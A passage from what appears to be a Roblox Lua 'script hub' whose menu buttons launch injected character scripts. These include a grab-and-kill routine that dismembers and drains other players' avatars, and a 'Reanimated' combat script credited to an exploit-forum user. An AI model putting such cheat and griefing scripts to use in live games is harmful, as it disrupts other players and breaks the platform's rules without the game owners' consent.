  2753. weld11.Part1 = humanoid.Parent.Torso
  2754. weld11.C0 = CFrame.new(-0.225805759, 2.14576721e-06, -1.17310905, 1, 2.65673535e-22, -5.23747954e-22, -2.65673535e-22, 1, 3.13253081e-22, 5.23747954e-22, -3.13253081e-22, 1)
  2755. end
  2756. end
  2757. sensorpart.Touched:connect(grabbd)
  2758. for i = 0,1 , 0.03 do
  2759. rhandweld.C0 = rhandweld.C0:lerp(CFrame.new(1.16124487, 0.583228588, -1.03449535, 4.80591443e-05, 0.438369244, 0.898795009, 1, -2.0452233e-05, -4.34954745e-05, -6.84713257e-07, 0.898795009, -0.438369215),i)
  2760. lhandweld.C0 = lhandweld.C0:lerp(CFrame.new(-1.44816315, 0.652858257, -0.812850952, 0.241486028, 0.109995931, -0.964150071, -0.96926713, -0.0207449254, -0.245134369, -0.0469650067, 0.993715525, 0.101605825),i)
  2761. game:GetService("RunService").RenderStepped:wait()
  2762. end
  2763. if not grabbed then
  2764. sensorpart:destroy()
  2765. for i = 0,1 , 0.03 do
  2766. rhandweld.C0 = rhandweld.C0:lerp(CFrame.new(1.5, 0, 0, 1, -1.6395192e-43, 0, -1.6395192e-43, 1, 0, 0, 0, 1),i)
  2767. lhandweld.C0 = lhandweld.C0:lerp(CFrame.new(-1.5, 0, 0, 1, -1.6395192e-43, 0, -1.6395192e-43, 1, 0, 0, 0, 1),i)
  2768. game:GetService("RunService").RenderStepped:wait()
  2769. end
  2770. grabbing = false
  2771. end
  2772. end
  2773. end
  2774. mouse.Button1Down:connect(grab)
  2775. sein = Instance.new("Sound", game.Players.LocalPlayer.Character.Head)
  2776. sein.SoundId = "rbxassetid://807874496"
  2777. sein.Volume = 0
  2778. seinfelding = false
  2779. function lolman(key)
  2780. key = key:lower()
  2781. if key == "z" then
  2782. if seinfelding then
  2783. seinfelding = false
  2784. sein.Volume = 0
  2785. else
  2786. seinfelding = true
  2787. sein.Volume = 10
  2788. end
  2789. end
  2790. end
  2791. mouse.KeyDown:connect(lolman)
  2792. function kill()
  2793. if grabbed and not killing then
  2794. killing = true
  2795. for i = 0,1 , 0.04 do
  2796. lhandweld.C0 = lhandweld.C0:lerp(CFrame.new(-1.11560476, 0.737739563, -0.854679108, 0.241485119, -0.41764155, -0.875934064, -0.969267249, -0.147496656, -0.19689025, -0.0469678044, 0.896560192, -0.440424562),i)
  2797. game:GetService("RunService").RenderStepped:wait()
  2798. end
  2799. knifeslash:Play()
  2800. sein:Play()
  2801. if humanoid.Parent:findFirstChild("Torso") then
  2802. humanoid.Parent.Torso.Velocity = game.Players.LocalPlayer.Character.Torso.CFrame.lookVector * 35
  2803. for i,v in pairs(humanoid.Parent.Torso:GetChildren()) do
  2804. if v.ClassName == "Motor6D" then
  2805. if v.Name == "Neck" then
  2806.  
  2807. else
  2808. v:destroy()
  2809. end
  2810. end
  2811. end
  2812. end
  2813. if humanoid.Parent:findFirstChild("Right Arm") then
  2814. local attachment = Instance.new("Attachment", humanoid.Parent.Torso)
  2815. attachment.Position = Vector3.new(1, 1, 0)
  2816. local ball = Instance.new("BallSocketConstraint", humanoid.Parent)
  2817. ball.Attachment0 = humanoid.Parent["Right Arm"].RightShoulderAttachment
  2818. ball.Attachment1 = attachment
  2819. local collidepartofleftleg = Instance.new("Part", humanoid.Parent.Torso)
  2820. collidepartofleftleg.Name = "Bone"
  2821. collidepartofleftleg.Size = Vector3.new(0.8,1.4,0.8)
  2822. collidepartofleftleg.Transparency = 1
  2823. collidepartofleftleg:BreakJoints()
  2824. local weeld = Instance.new("Weld", collidepartofleftleg)
  2825. weeld.Part0 = humanoid.Parent["Right Arm"]
  2826. weeld.Part1 = collidepartofleftleg
  2827. weeld.C0 = weeld.C0 * CFrame.new(0,-0.3,0)
  2828. end
  2829. if humanoid.Parent:findFirstChild("Left Arm") then
  2830. local attachment = Instance.new("Attachment", humanoid.Parent.Torso)
  2831. attachment.Position = Vector3.new(1, 1, 0)
  2832. local ball = Instance.new("BallSocketConstraint", humanoid.Parent)
  2833. ball.Attachment0 = humanoid.Parent.Torso.LeftCollarAttachment
  2834. ball.Attachment1 = humanoid.Parent["Left Arm"].LeftShoulderAttachment
  2835. local collidepartofleftleg = Instance.new("Part", humanoid.Parent.Torso)
  2836. collidepartofleftleg.Name = "Bone"
  2837. collidepartofleftleg.Size = Vector3.new(0.8,1.4,0.8)
  2838. collidepartofleftleg.Transparency = 1
  2839. collidepartofleftleg:BreakJoints()
  2840. local weeld = Instance.new("Weld", collidepartofleftleg)
  2841. weeld.Part0 = humanoid.Parent["Left Arm"]
  2842. weeld.Part1 = collidepartofleftleg
  2843. weeld.C0 = weeld.C0 * CFrame.new(0,-0.3,0)
  2844. end
  2845. if humanoid.Parent:findFirstChild("Right Leg") then
  2846. local attachment = Instance.new("Attachment", humanoid.Parent.Torso)
  2847. attachment.Position = Vector3.new(0.5, -1, 0)
  2848. local ball = Instance.new("BallSocketConstraint", humanoid.Parent)
  2849. ball.Attachment0 = humanoid.Parent["Right Leg"].RightFootAttachment
  2850. ball.Attachment1 = attachment
  2851. humanoid.Parent["Right Leg"].RightFootAttachment.Position = Vector3.new(0, 1, 0)
  2852. local collidepartofleftleg = Instance.new("Part", humanoid.Parent.Torso)
  2853. collidepartofleftleg.Name = "Bone"
  2854. collidepartofleftleg.Size = Vector3.new(0.8,1.4,0.8)
  2855. collidepartofleftleg.Transparency = 1
  2856. collidepartofleftleg:BreakJoints()
  2857. local weeld = Instance.new("Weld", collidepartofleftleg)
  2858. weeld.Part0 = humanoid.Parent["Right Leg"]
  2859. weeld.Part1 = collidepartofleftleg
  2860. weeld.C0 = weeld.C0 * CFrame.new(0,-0.3,0)
  2861. end
  2862. if humanoid.Parent:findFirstChild("Left Leg") then
  2863. local attachment = Instance.new("Attachment", humanoid.Parent.Torso)
  2864. attachment.Position = Vector3.new(-0.5, -1, 0)
  2865. local ball = Instance.new("BallSocketConstraint", humanoid.Parent)
  2866. ball.Attachment0 = humanoid.Parent["Left Leg"].LeftFootAttachment
  2867. ball.Attachment1 = attachment
  2868. humanoid.Parent["Left Leg"].LeftFootAttachment.Position = Vector3.new(0, 1, 0)
  2869. local collidepartofleftleg = Instance.new("Part", humanoid.Parent.Torso)
  2870. collidepartofleftleg.Name = "Bone"
  2871. collidepartofleftleg.Size = Vector3.new(0.8,1.4,0.8)
  2872. collidepartofleftleg.Transparency = 1
  2873. collidepartofleftleg:BreakJoints()
  2874. local weeld = Instance.new("Weld", collidepartofleftleg)
  2875. weeld.Part0 = humanoid.Parent["Left Leg"]
  2876. weeld.Part1 = collidepartofleftleg
  2877. weeld.C0 = weeld.C0 * CFrame.new(0,-0.3,0)
  2878. end
  2879. if humanoid.Parent:findFirstChild("Head") then
  2880. local attachment = Instance.new("Attachment", humanoid.Parent.Head)
  2881. attachment.Position = Vector3.new(0, -0.5, 0)
  2882. humanoid.Parent.Torso.NeckAttachment.Visible = false
  2883. humanoid.Parent.Torso.NeckAttachment.Position = humanoid.Parent.Torso.NeckAttachment.Position + Vector3.new(0,0,0)
  2884. local ball = Instance.new("HingeConstraint", humanoid.Parent)
  2885. ball.Attachment0 = humanoid.Parent.Torso.NeckAttachment
  2886. ball.Attachment1 = attachment
  2887. local collidepartofleftleg = Instance.new("Part", humanoid.Parent.Torso)
  2888. collidepartofleftleg.Name = "Bone"
  2889. collidepartofleftleg.Size = Vector3.new(0.5,0.3,0.5)
  2890. collidepartofleftleg.Transparency = 1
  2891. collidepartofleftleg:BreakJoints()
  2892. local weeld = Instance.new("Weld", collidepartofleftleg)
  2893. weeld.Part0 = collidepartofleftleg
  2894. weeld.Part1 = humanoid.Parent["Head"]
  2895. humanoid.Parent.Torso.Neck:destroy()
  2896. end
  2897.  
  2898. for i = 0,1 , 0.12 do
  2899. rhandweld.C0 = rhandweld.C0:lerp(CFrame.new(1.16124487, 0.583228588, -1.03449535, 4.80591443e-05, 0.438369244, 0.898795009, 1, -2.0452233e-05, -4.34954745e-05, -6.84713257e-07, 0.898795009, -0.438369215),i)
  2900. lhandweld.C0 = lhandweld.C0:lerp(CFrame.new(-1.89365733, 0.562850952, -1.24588871, 0.241484284, 0.521517754, -0.818356454, -0.969264686, 0.0888098925, -0.229421243, -0.0469677486, 0.848613799, 0.526935101),i)
  2901. game:GetService("RunService").RenderStepped:wait()
  2902. end
  2903. while humanoid.Health >= 0.01 do
  2904. --Converted with ttyyuu12345's model to script plugin v4
  2905. function sandbox(var,func)
  2906. local env = getfenv(func)
  2907. local newenv = setmetatable({},{
  2908. __index = function(self,k)
  2909. if k=="script" then
  2910. return var
  2911. else
  2912. return env[k]
  2913. end
  2914. end,
  2915. })
  2916. setfenv(func,newenv)
  2917. return func
  2918. end
  2919. cors = {}
  2920. humanoid.Health = humanoid.Health - 4
  2921. mas = Instance.new("Model",game:GetService("Lighting"))
  2922. local AAA = Instance.new("Part")
  2923. local SpecialMesh1 = Instance.new("SpecialMesh")
  2924. AAA.Parent = mas
  2925. AAA.BrickColor = BrickColor.new("Maroon")
  2926. AAA.Size = Vector3.new(0.5,0.5,0.5)
  2927. AAA.Position = Vector3.new(4.00000095, 33.7000122, 0.099999927)
  2928. AAA.CFrame = humanoid.Parent.Head.CFrame * CFrame.new(0,0,-3)
  2929. AAA.Rotation = Vector3.new(0,0,0)
  2930. SpecialMesh1.Parent = AAA
  2931. AAA.CanCollide = false
  2932. SpecialMesh1.MeshType = Enum.MeshType.Sphere
  2933. local velocity1 = Instance.new("BodyVelocity", AAA)
  2934. velocity1.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
  2935. velocity1.Velocity = humanoid.Parent.Torso.CFrame.lookVector * math.random(20,30)
  2936. for i,v in pairs(mas:GetChildren()) do
  2937. v.Parent = humanoid.Parent
  2938. pcall(function() v:MakeJoints() end)
  2939. end
  2940. mas:Destroy()
  2941. for i,v in pairs(cors) do
  2942. spawn(function()
  2943. pcall(v)
  2944. end)
  2945. end
  2946. local function hit(part)
  2947. if part.Parent:findFirstChild("Humanoid") then
  2948.  
  2949. else
  2950. if part.Name == "Handle" or part.Parent.Name == humanoid.Parent.Name then
  2951.  
  2952. else
  2953. if part.Name == "WHITEXDDDD!!" then
  2954. AAA:destroy()
  2955. local partcf = part.CFrame
  2956. part.Size = part.Size + Vector3.new(0,0.2,0.2)
  2957. else
  2958. AAA:destroy()
  2959. local cycle = Instance.new("Part", workspace)
  2960. cycle.Size = Vector3.new(0.3, 1, 1)
  2961. cycle.BrickColor = BrickColor.new("Maroon")
  2962. cycle.Anchored = true
  2963. cycle.Shape = "Cylinder"
  2964. cycle.Name = "WHITEXDDDD!!"
  2965. cycle.CanCollide = false
  2966. local hitsp = Instance.new("Sound", cycle)
  2967. hitsp.SoundId = "rbxassetid://180083286"
  2968. hitsp.Volume = 0.2
  2969. hitsp:Play()
  2970. cycle.CFrame = AAA.CFrame
  2971. if part.Size.y < part.Size.x and part.Size.y < part.Size.z then --a big help from Toxsikkilla
  2972. print("if y < x")
  2973. cycle.CFrame = cycle.CFrame * CFrame.fromEulerAnglesXYZ(0,0,math.pi / 2)
  2974. cycle.CFrame = cycle.CFrame * CFrame.new(0,0,0)
  2975. elseif part.Size.x < part.Size.y and part.Size.x < part.Size.z then
  2976. print("if x < y")
  2977. cycle.CFrame = cycle.CFrame * CFrame.fromEulerAnglesXYZ(math.pi / 2, 0, 0)
  2978. elseif part.Size.z < part.Size.y and part.Size.z < part.Size.y then
  2979. print("if z < y")
  2980. cycle.CFrame = cycle.CFrame * CFrame.fromEulerAnglesXYZ(0, math.pi / 2, 0)
  2981. end
  2982. AAA:destroy()
  2983. wait(10)
  2984. for i = 1,100 do
  2985. cycle.Transparency = cycle.Transparency + 0.01
  2986. wait()
  2987. end
  2988. cycle:destroy()
  2989. end
  2990. end
  2991. end
  2992. end
  2993. AAA.Touched:connect(hit)
  2994. wait(0.1)
  2995. velocity1:destroy()
  2996. wait(0.1)
  2997. end
  2998. for i = 0,1 , 0.03 do
  2999. rhandweld.C0 = rhandweld.C0:lerp(CFrame.new(1.5, 0, 0, 1, -1.6395192e-43, 0, -1.6395192e-43, 1, 0, 0, 0, 1),i)
  3000. lhandweld.C0 = lhandweld.C0:lerp(CFrame.new(-1.5, 0, 0, 1, -1.6395192e-43, 0, -1.6395192e-43, 1, 0, 0, 0, 1),i)
  3001. game:GetService("RunService").RenderStepped:wait()
  3002. end
  3003. grabbed = false
  3004. killing = false
  3005. grabbing = false
  3006. end
  3007. end
  3008. mouse.Button1Down:connect(kill)
  3009. end)
  3010.  
  3011. script3.Name = "script3"
  3012. script3.Parent = scriptsmenu
  3013. script3.BackgroundColor3 = Color3.new(0, 0, 0)
  3014. script3.Position = UDim2.new(0, 50, 0, 150)
  3015. script3.Size = UDim2.new(0, 100, 0, 30)
  3016. script3.Font = Enum.Font.SourceSans
  3017. script3.FontSize = Enum.FontSize.Size14
  3018. script3.Text = "The Reanimated"
  3019. script3.TextColor3 = Color3.new(1, 1, 1)
  3020. script3.TextSize = 14
  3021.  
  3022. script3.MouseButton1Down:connect(function()
  3023. --[[
  3024. REANIMATED
  3025. { Never.. Give.. Up.. }
  3026. Created by Quil_Cyndaquil (ROBLOX) [UserID 5719877]
  3027. MintyLatios (V3rmillion)
  3028. Nebula Zorua#1938
  3029.  
  3030.  
  3031. --]]
  3032. wait(3)
  3033. wait(1 / 60)
  3034. Effects = { }
  3035. local debugIt = false
  3036. local Player = game.Players.localPlayer
  3037. local Character = Player.Character
  3038. Character.Archivable=true
  3039. local FCharacter = Character:Clone()
  3040. Character.Archivable=false
  3041. local Humanoid = Character.Humanoid
  3042. local Mouse = Player:GetMouse()
  3043. local LeftArm = Character["Left Arm"]
  3044. local RightArm = Character["Right Arm"]
  3045. local LeftLeg = Character["Left Leg"]
  3046. local RightLeg = Character["Right Leg"]
  3047. local Head = Character.Head
  3048. local Torso = Character.Torso
  3049. local Camera = game.Workspace.CurrentCamera
  3050. local RootPart = Character.HumanoidRootPart
  3051. local RootJoint = RootPart.RootJoint
  3052. local attack = false
  3053. local Anim = 'Idle'
  3054. local attacktype = 1
  3055. local Torsovelocity = (RootPart.Velocity * Vector3.new(1, 0, 1)).magnitude
  3056. local velocity = RootPart.Velocity.y
  3057. local sine = 0
  3058. local change = 1
  3059. local Create = LoadLibrary("RbxUtility").Create
  3060.  
  3061. local m = Create("Model"){
  3062. Parent = Character,
  3063. Name = "WeaponModel",
  3064. }
  3065.  
  3066. Humanoid.Animator.Parent = nil
  3067. Character.Animate.Parent = nil
  3068.  
  3069. local newMotor = function(part0, part1, c0, c1)
  3070. local w = Create('Weld'){
  3071. Parent = part0,
  3072. Part0 = part0,
  3073. Part1 = part1,
  3074. C0 = c0,
  3075. C1 = c1,
  3076. }
  3077. return w
  3078. end
  3079.  
  3080. function clerp(a, b, t)
  3081. return a:lerp(b, t)
  3082. end
  3083.  
  3084. RootCF = CFrame.fromEulerAnglesXYZ(-1.57, 0, 3.14)
  3085. NeckCF = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  3086.  
  3087. local RW = newMotor(Torso, RightArm, CFrame.new(1.5, 0, 0), CFrame.new(0, 0, 0))
  3088. local LW = newMotor(Torso, LeftArm, CFrame.new(-1.5, 0, 0), CFrame.new(0, 0, 0))
  3089. local RH = newMotor(Torso, RightLeg, CFrame.new(.5, -2, 0), CFrame.new(0, 0, 0))
  3090. local LH = newMotor(Torso, LeftLeg, CFrame.new(-.5, -2, 0), CFrame.new(0, 0, 0))
  3091. RootJoint.C1 = CFrame.new(0, 0, 0)
  3092. RootJoint.C0 = CFrame.new(0, 0, 0)
  3093. Torso.Neck.C1 = CFrame.new(0, 0, 0)
  3094. Torso.Neck.C0 = CFrame.new(0, 1.5, 0)
  3095.  
  3096. local rarmc1 = RW.C1
  3097. local larmc1 = LW.C1
  3098. local rlegc1 = RH.C1
  3099. local llegc1 = LH.C1
  3100.  
  3101. local resetc1 = false
  3102.  
  3103. function PlayAnimationFromTable(table, speed, bool)
  3104. RootJoint.C0 = clerp(RootJoint.C0, table[1], speed)
  3105. Torso.Neck.C0 = clerp(Torso.Neck.C0, table[2], speed)
  3106. RW.C0 = clerp(RW.C0, table[3], speed)
  3107. LW.C0 = clerp(LW.C0, table[4], speed)
  3108. RH.C0 = clerp(RH.C0, table[5], speed)
  3109. LH.C0 = clerp(LH.C0, table[6], speed)
  3110. LH.C1 = clerp(LH.C1,CFrame.new(0,0,0),speed)
  3111. RH.C1 = clerp(RH.C1,CFrame.new(0,0,0),speed)
  3112. if bool == true then
  3113. if resetc1 == false then
  3114. resetc1 = true
  3115. RootJoint.C1 = RootJoint.C1
  3116. Torso.Neck.C1 = Torso.Neck.C1
  3117. RW.C1 = rarmc1
  3118. LW.C1 = larmc1
  3119. RH.C1 = rlegc1
  3120. LH.C1 = llegc1
  3121. end
  3122. end
  3123. end
  3124.  
  3125. ArtificialHB = Create("BindableEvent", script){
  3126. Parent = script,
  3127. Name = "Heartbeat",
  3128. }
  3129.  
  3130. script:WaitForChild("Heartbeat")
  3131.  
  3132. frame = 1 / 30
  3133. tf = 0
  3134. allowframeloss = false
  3135. tossremainder = false
  3136. lastframe = tick()
  3137. script.Heartbeat:Fire()
  3138.  
  3139. game:GetService("RunService").Heartbeat:connect(function(s, p)
  3140. tf = tf + s
  3141. if tf >= frame then
  3142. if allowframeloss then
  3143. script.Heartbeat:Fire()
  3144. lastframe = tick()
  3145. else
  3146. for i = 1, math.floor(tf / frame) do
  3147. script.Heartbeat:Fire()
  3148. end
  3149. lastframe = tick()
  3150. end
  3151. if tossremainder then
  3152. tf = 0
  3153. else
  3154. tf = tf - frame * math.floor(tf / frame)
  3155. end
  3156. end
  3157. end)
  3158.  
  3159. function swait(num)
  3160. if num == 0 or num == nil then
  3161. ArtificialHB.Event:wait()
  3162. else
  3163. for i = 0, num do
  3164. ArtificialHB.Event:wait()
  3165. end
  3166. end
  3167. end
  3168.  
  3169. function RemoveOutlines(part)
  3170. part.TopSurface, part.BottomSurface, part.LeftSurface, part.RightSurface, part.FrontSurface, part.BackSurface = 10, 10, 10, 10, 10, 10
  3171. end
  3172.  
  3173. CFuncs = {
  3174. ["Part"] = {
  3175. Create = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
  3176. local Part = Create("Part"){
  3177. Parent = Parent,
  3178. Reflectance = Reflectance,
  3179. Transparency = Transparency,
  3180. CanCollide = false,
  3181. Locked = true,
  3182. BrickColor = BrickColor.new(tostring(BColor)),
  3183. Name = Name,
  3184. Size = Size,
  3185. Material = Material,
  3186. }
  3187. RemoveOutlines(Part)
  3188. return Part
  3189. end;
  3190. };
  3191.  
  3192. ["Mesh"] = {
  3193. Create = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
  3194. local Msh = Create(Mesh){
  3195. Parent = Part,
  3196. Offset = OffSet,
  3197. Scale = Scale,
  3198. }
  3199. if Mesh == "SpecialMesh" then
  3200. Msh.MeshType = MeshType
  3201. Msh.MeshId = MeshId
  3202. end
  3203. return Msh
  3204. end;
  3205. };
  3206.  
  3207. ["Mesh"] = {
  3208. Create = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
  3209. local Msh = Create(Mesh){
  3210. Parent = Part,
  3211. Offset = OffSet,
  3212. Scale = Scale,
  3213. }
  3214. if Mesh == "SpecialMesh" then
  3215. Msh.MeshType = MeshType
  3216. Msh.MeshId = MeshId
  3217. end
  3218. return Msh
  3219. end;
  3220. };
  3221.  
  3222. ["Weld"] = {
  3223. Create = function(Parent, Part0, Part1, C0, C1)
  3224. local Weld = Create("Weld"){
  3225. Parent = Parent,
  3226. Part0 = Part0,
  3227. Part1 = Part1,
  3228. C0 = C0,
  3229. C1 = C1,
  3230. }
  3231. return Weld
  3232. end;
  3233. };
  3234.  
  3235. ["Sound"] = {
  3236. Create = function(id, par, vol, pit)
  3237. coroutine.resume(coroutine.create(function()
  3238. local S = Create("Sound"){
  3239. Volume = vol,
  3240. Pitch = pit or 1,
  3241. SoundId = id,
  3242. Parent = par or workspace,
  3243. }
  3244. wait()
  3245. S:play()
  3246. game:GetService("Debris"):AddItem(S, 6)
  3247. end))
  3248. end;
  3249. };
  3250.  
  3251. ["ParticleEmitter"] = {
  3252. Create = function(Parent, Color1, Color2, LightEmission, Size, Texture, Transparency, ZOffset, Accel, Drag, LockedToPart, VelocityInheritance, EmissionDirection, Enabled, LifeTime, Rate, Rotation, RotSpeed, Speed, VelocitySpread)
  3253. local fp = Create("ParticleEmitter"){
  3254. Parent = Parent,
  3255. Color = ColorSequence.new(Color1, Color2),
  3256. LightEmission = LightEmission,
  3257. Size = Size,
  3258. Texture = Texture,
  3259. Transparency = Transparency,
  3260. ZOffset = ZOffset,
  3261. Acceleration = Accel,
  3262. Drag = Drag,
  3263. LockedToPart = LockedToPart,
  3264. VelocityInheritance = VelocityInheritance,
  3265. EmissionDirection = EmissionDirection,
  3266. Enabled = Enabled,
  3267. Lifetime = LifeTime,
  3268. Rate = Rate,
  3269. Rotation = Rotation,
  3270. RotSpeed = RotSpeed,
  3271. Speed = Speed,
  3272. VelocitySpread = VelocitySpread,
  3273. }
  3274. return fp
  3275. end;
  3276. };
  3277.  
  3278. CreateTemplate = {
  3279.  
  3280. };
  3281. }
  3282.  
  3283. function rayCast(Position, Direction, Range, Ignore)
  3284. return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
  3285. end
  3286.  
  3287. --[[FindNearestTorso = function(pos)
  3288. local list = (game.Workspace:children())
  3289. local torso = nil
  3290. local dist = 1000
  3291. local temp, human, temp2 = nil, nil, nil
  3292. for x = 1, #list do
  3293. temp2 = list[x]
  3294. if temp2.className == "Model" and temp2.Name ~= Character.Name then
  3295. temp = temp2:findFirstChild("Torso")
  3296. human = temp2:findFirstChild("Humanoid")
  3297. if temp ~= nil and human ~= nil and human.Health > 0 and (temp.Position - pos).magnitude < dist then
  3298. local dohit = true
  3299. if dohit == true then
  3300. torso = temp
  3301. dist = (temp.Position - pos).magnitude
  3302. end
  3303. end
  3304. end
  3305. end
  3306. return torso, dist
  3307. end]]
  3308. function FindNearestTorso(Position, Distance, SinglePlayer)
  3309. if SinglePlayer then
  3310. return (SinglePlayer.Torso.CFrame.p - Position).magnitude < Distance
  3311. end
  3312. local List = {}
  3313. for i, v in pairs(workspace:GetChildren()) do
  3314. if v:IsA("Model") then
  3315. if v:findFirstChild("Torso") then
  3316. if v ~= Character then
  3317. if (v.Torso.Position - Position).magnitude <= Distance then
  3318. table.insert(List, v)
  3319. end
  3320. end
  3321. end
  3322. end
  3323. end
  3324. return List
  3325. end
  3326.  
  3327. function Damage(Part, hit, minim, maxim, knockback, Type, Property, Delay, HitSound, HitPitch)
  3328. if hit.Parent == nil then
  3329. return
  3330. end
  3331. local h = hit.Parent:FindFirstChild("Humanoid")
  3332. for _, v in pairs(hit.Parent:children()) do
  3333. if v:IsA("Humanoid") then
  3334. h = v
  3335. end
  3336. end
  3337. if h ~= nil and hit.Parent.Name ~= Character.Name and hit.Parent:FindFirstChild("Torso") ~= nil then
  3338. if hit.Parent:findFirstChild("DebounceHit") ~= nil then
  3339. if hit.Parent.DebounceHit.Value == true then
  3340. return
  3341. end
  3342. end
  3343. local c = Create("ObjectValue"){
  3344. Name = "creator",
  3345. Value = game:service("Players").LocalPlayer,
  3346. Parent = h,
  3347. }
  3348. game:GetService("Debris"):AddItem(c, .5)
  3349. if HitSound ~= nil and HitPitch ~= nil then
  3350. CFuncs.Sound.Create(HitSound, hit, 1, HitPitch)
  3351. end
  3352. local Damage = math.random(minim, maxim)
  3353. local blocked = false
  3354. local block = hit.Parent:findFirstChild("Block")
  3355. if block ~= nil then
  3356. if block.className == "IntValue" then
  3357. if block.Value > 0 then
  3358. blocked = true
  3359. block.Value = block.Value - 1
  3360. print(block.Value)
  3361. end
  3362. end
  3363. end
  3364. if blocked == false then
  3365. h.Health = h.Health - Damage
  3366. ShowDamage((Part.CFrame * CFrame.new(0, 0, (Part.Size.Z / 2)).p + Vector3.new(0, 1.5, 0)), -Damage, 1.5, BrickColor.new("Really black").Color)
  3367. else
  3368. h.Health = h.Health - (Damage / 2)
  3369. ShowDamage((Part.CFrame * CFrame.new(0, 0, (Part.Size.Z / 2)).p + Vector3.new(0, 1.5, 0)), -Damage, 1.5, BrickColor.new("Really black").Color)
  3370. end
  3371. if Type == "Knockdown" then
  3372. local hum = hit.Parent.Humanoid
  3373. hum.PlatformStand = true
  3374. coroutine.resume(coroutine.create(function(HHumanoid)
  3375. swait(1)
  3376. HHumanoid.PlatformStand = false
  3377. end), hum)
  3378. local angle = (hit.Position - (Property.Position + Vector3.new(0, 0, 0))).unit
  3379. local bodvol = Create("BodyVelocity"){
  3380. velocity = angle * knockback,
  3381. P = 5000,
  3382. maxForce = Vector3.new(8e+003, 8e+003, 8e+003),
  3383. Parent = hit,
  3384. }
  3385. local rl = Create("BodyAngularVelocity"){
  3386. P = 3000,
  3387. maxTorque = Vector3.new(500000, 500000, 500000) * 50000000000000,
  3388. angularvelocity = Vector3.new(math.random(-10, 10), math.random(-10, 10), math.random(-10, 10)),
  3389. Parent = hit,
  3390. }
  3391. game:GetService("Debris"):AddItem(bodvol, .5)
  3392. game:GetService("Debris"):AddItem(rl, .5)
  3393. elseif Type == "Normal" then
  3394. local vp = Create("BodyVelocity"){
  3395. P = 500,
  3396. maxForce = Vector3.new(math.huge, 0, math.huge),
  3397. velocity = Property.CFrame.lookVector * knockback + Property.Velocity / 1.05,
  3398. }
  3399. if knockback > 0 then
  3400. vp.Parent = hit.Parent.Torso
  3401. end
  3402. game:GetService("Debris"):AddItem(vp, .5)
  3403. elseif Type == "Up" then
  3404. local bodyVelocity = Create("BodyVelocity"){
  3405. velocity = Vector3.new(0, 20, 0),
  3406. P = 5000,
  3407. maxForce = Vector3.new(8e+003, 8e+003, 8e+003),
  3408. Parent = hit,
  3409. }
  3410. game:GetService("Debris"):AddItem(bodyVelocity, .5)
  3411. elseif Type == "DarkUp" then
  3412. coroutine.resume(coroutine.create(function()
  3413. for i = 0, 1, 0.1 do
  3414. swait()
  3415. Effects.Block.Create(BrickColor.new("Black"), hit.Parent.Torso.CFrame, 5, 5, 5, 1, 1, 1, .08, 1)
  3416. end
  3417. end))
  3418. local bodyVelocity = Create("BodyVelocity"){
  3419. velocity = Vector3.new(0, 20, 0),
  3420. P = 5000,
  3421. maxForce = Vector3.new(8e+003, 8e+003, 8e+003),
  3422. Parent = hit,
  3423. }
  3424. game:GetService("Debris"):AddItem(bodyVelocity, 1)
  3425. elseif Type == "Snare" then
  3426. local bp = Create("BodyPosition"){
  3427. P = 2000,
  3428. D = 100,
  3429. maxForce = Vector3.new(math.huge, math.huge, math.huge),
  3430. position = hit.Parent.Torso.Position,
  3431. Parent = hit.Parent.Torso,
  3432. }
  3433. game:GetService("Debris"):AddItem(bp, 1)
  3434. elseif Type == "Freeze" then
  3435. local BodPos = Create("BodyPosition"){
  3436. P = 50000,
  3437. D = 1000,
  3438. maxForce = Vector3.new(math.huge, math.huge, math.huge),
  3439. position = hit.Parent.Torso.Position,
  3440. Parent = hit.Parent.Torso,
  3441. }
  3442. local BodGy = Create("BodyGyro") {
  3443. maxTorque = Vector3.new(4e+005, 4e+005, 4e+005) * math.huge ,
  3444. P = 20e+003,
  3445. Parent = hit.Parent.Torso,
  3446. cframe = hit.Parent.Torso.CFrame,
  3447. }
  3448. hit.Parent.Torso.Anchored = true
  3449. coroutine.resume(coroutine.create(function(Part)
  3450. swait(1.5)
  3451. Part.Anchored = false
  3452. end), hit.Parent.Torso)
  3453. game:GetService("Debris"):AddItem(BodPos, 3)
  3454. game:GetService("Debris"):AddItem(BodGy, 3)
  3455. end
  3456. local debounce = Create("BoolValue"){
  3457. Name = "DebounceHit",
  3458. Parent = hit.Parent,
  3459. Value = true,
  3460. }
  3461. game:GetService("Debris"):AddItem(debounce, Delay)
  3462. c = Create("ObjectValue"){
  3463. Name = "creator",
  3464. Value = Player,
  3465. Parent = h,
  3466. }
  3467. game:GetService("Debris"):AddItem(c, .5)
  3468. end
  3469. end
  3470.  
  3471. function ShowDamage(Pos, Text, Time, Color)
  3472. local Rate = (1 / 30)
  3473. local Pos = (Pos or Vector3.new(0, 0, 0))
  3474. local Text = (Text or "")
  3475. local Time = (Time or 2)
  3476. local Color = (Color or Color3.new(1, 0, 1))
  3477. local EffectPart = CFuncs.Part.Create(workspace, "SmoothPlastic", 0, 1, BrickColor.new(Color), "Effect", Vector3.new(0, 0, 0))
  3478. EffectPart.Anchored = true
  3479. local BillboardGui = Create("BillboardGui"){
  3480. Size = UDim2.new(3, 0, 3, 0),
  3481. Adornee = EffectPart,
  3482. Parent = EffectPart,
  3483. }
  3484. local TextLabel = Create("TextLabel"){
  3485. BackgroundTransparency = 1,
  3486. Size = UDim2.new(1, 0, 1, 0),
  3487. Text = Text,
  3488. Font = "SciFi",
  3489. TextColor3 = Color,
  3490. TextScaled = true,
  3491. Parent = BillboardGui,
  3492. }
  3493. game.Debris:AddItem(EffectPart, (Time))
  3494. EffectPart.Parent = game:GetService("Workspace")
  3495. delay(0, function()
  3496. local Frames = (Time / Rate)
  3497. for Frame = 1, Frames do
  3498. wait(Rate)
  3499. local Percent = (Frame / Frames)
  3500. EffectPart.CFrame = CFrame.new(Pos) + Vector3.new(0, Percent, 0)
  3501. TextLabel.TextTransparency = Percent
  3502. end
  3503. if EffectPart and EffectPart.Parent then
  3504. EffectPart:Destroy()
  3505. end
  3506. end)
  3507. end
  3508.  
  3509. function MagnitudeDamage(Part, Magnitude, MinimumDamage, MaximumDamage, KnockBack, Type, HitSound, HitPitch)
  3510. for _, c in pairs(workspace:children()) do
